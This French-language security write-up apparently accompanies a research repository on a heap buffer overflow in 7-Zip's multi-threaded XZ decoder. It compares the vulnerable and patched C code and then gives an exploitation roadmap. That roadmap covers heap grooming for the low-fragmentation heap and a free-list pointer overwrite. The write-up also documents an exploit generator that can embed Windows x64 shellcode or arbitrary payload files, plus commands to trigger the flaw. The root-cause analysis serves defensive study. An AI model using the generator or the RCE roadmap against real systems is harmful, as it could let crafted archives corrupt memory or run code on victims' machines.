
Débordement de tampon dans le tas du décodeur XZ de 7-Zip - Analyse complète, cause racine, PoC et feuille de route d'exploitation RCE
Sévérité critique | CVSS : 8.8 (Élevé) | CWE-122 : Dépassement de tampon basé sur le tas
Versions affectées : 7-Zip ≤ 26.01 | Correctif : 7-Zip 26.02 (2026-06-25)
Découvert et analysé par : Li Yuxuan (liyuxuan504-byte) et son équipe
Un dépassement de tampon sur le tas existe dans le chemin du décodeur XZ multi-thread des versions de 7-Zip ≤ 26.01. Une archive .xz conçue de manière malveillante peut déclencher une écriture hors limites au-delà du tampon de sortie alloué sur le tas, entraînant :
STATUS_ACCESS_VIOLATION (0xC0000005)La vulnérabilité se situe dans MixCoder_Code() dans C/XzDec.c, où la branche SingleBuf (outBuf) transmet un destLen2 non vérifié au décodeur LZMA2 sans le limiter (clamp) par rapport à la capacité restante du tampon (outBufSize - outWritten).
Tout système ou application qui utilise une version vulnérable de 7-Zip (ou 7z.dll) pour extraire des fichiers .xz non fiables est exposé au risque — le chemin multi-thread est activé par défaut sur les systèmes multi-cœurs.
XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
→ MixCoder_Code(outBuf branch, p->outBuf != NULL)
→ destLen2 = destLenOrig // ← NO boundary clamp
→ Lzma2State_Code2(..., &destLen2)
→ dicLimit = dicPos + destLen2 // ← can exceed dicBufSize
→ Lzma2Dec_DecodeToDic(...)
→ LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
→ dicPos exceeds dicBufSize → HEAP OVERFLOW
Version vulnérable (26.01) — C/XzDec.c ~L606 :
if (p->outBuf) {
SizeT destLen2, srcLen2;
srcLen2 = srcLenOrig;
destLen2 = destLenOrig; // ← raw value, no clamping!
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2; // ← tracks total but never checks
}
Version corrigée (26.02) — C/XzDec.c ~L605 :
if (p->outBuf) {
SizeT destLen2;
destLen2 = destLenOrig;
if (p->numCoders != 1) { // ★ NEW boundary check
if (destLen2 < p->outWritten)
return SZ_ERROR_FAIL; // data inconsistency → abort
destLen2 -= p->outWritten; // clamp to remaining capacity!
}
*srcLen = srcLenOrig;
{
IStateCoder *coder = &p->coders[0];
res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
srcWasFinished, finishMode, &p->status);
}
p->outWritten += destLen2;
}
Le correctif tient en 3 lignes. Il soustrait p->outWritten (les octets déjà écrits dans ce outBuf) de destLen2 avant de le transmettre au décodeur LZMA2, garantissant que le décodeur ne peut jamais écrire au-delà du tampon alloué.
Dans le chemin mono-thread, XzUnpacker_Code applique son propre clamp rem basé sur unpackSize avant d'appeler MixCoder_Code. Ce clamp borne correctement la sortie. Le chemin SingleBuf multi-thread contourne ce clamp car il transmet destLenOrig directement — le clamp en amont est inefficace lorsque destLen est pré-défini à la taille totale restante de l'entrée plutôt qu'à la capacité réellement restante du tampon.
Le outBuf est alloué sur le tas CRT via ISzAlloc_Alloc(allocMid, unpackSize) :
unpackSize | Allocateur | Exploitabilité |
|---|---|---|
| ≤ 16 KB | LFH (tas à faible fragmentation) | ★ Idéal pour RCE — objets adjacents dans le même bucket |
| 16–64 KB | Segment Heap (backend) | Possible — corruption de la free-list |
| ≥ 64 KB | VirtualAlloc (aligné sur la page) | DoS uniquement — la page de garde piège le dépassement |
L'approche d'exploitation la plus prometteuse :
unpackSize (256–16384 octets) pour déclencher l'allocation LFHoutBuf dans les sous-segments LFH adjacentsnext de la free-list LFH → obtient une primitive d'allocation arbitraire| Capacité | État |
|---|---|
| DoS (crash) | ✅ Confirmé, fiable sur 7-Zip 26.00 x64 |
| Dépassement de tas silencieux (LFH) | ✅ Confirmé — écrit au-delà du tampon, code de sortie 2, sans crash |
| Livraison contrôlée de la charge utile | ✅ Entièrement contrôlable via les données LZMA2 copy-chunk |
| Primitives de disposition du tas | ✅ Concept prouvé — nécessite un ajustement de la disposition propre à la cible |
| Chaîne RCE complète | ❌ En cours — nécessite une analyse de la disposition du tas sur la cible |
Les débogueurs classiques (x64dbg, WinDbg) modifient le comportement de création du processus. Sous un débogueur, 7z.dll peut ne jamais charger le chemin XZ multi-thread — le processus retombe silencieusement en mode mono-thread, où la vulnérabilité ne se déclenche pas. L'approche retenue :
tools/)poc/poc-cve-2026-14266-rce.py est un générateur d'exploit XZ complet :
# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz
# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-cyclic -o find-offset.xz
# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
--unpack-size 4096 --overflow 16384 --chunk-size 97 \
--payload-shellcode -o exploit.xz
# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
--payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz
| Paramètre | Description | Recommandation |
|---|---|---|
--unpack-size | unpackSize déclaré du bloc (= taille d'allocation du outBuf) | 256–4096 pour RCE via LFH |
--overflow | Nombre total d'octets à écrire au-delà de outBuf | 4096–32768 |
--chunk-size | Taille des données LZMA2 copy-chunk (1–65535) | Ne doit PAS diviser unpackSize de manière égale ! Utiliser un nombre premier (97) ou --force-align-overflow |
--payload-cyclic | Motif cyclique pour la découverte de l'offset | À utiliser d'abord, puis remplacer par la vraie charge utile |
--payload-shellcode | Intégrer le shellcode Win x64 WinExec("calc.exe") | ~276 octets |
# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL
# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL
Testé sur : Windows 11 Pro x64 (build 26200) + 7-Zip 26.00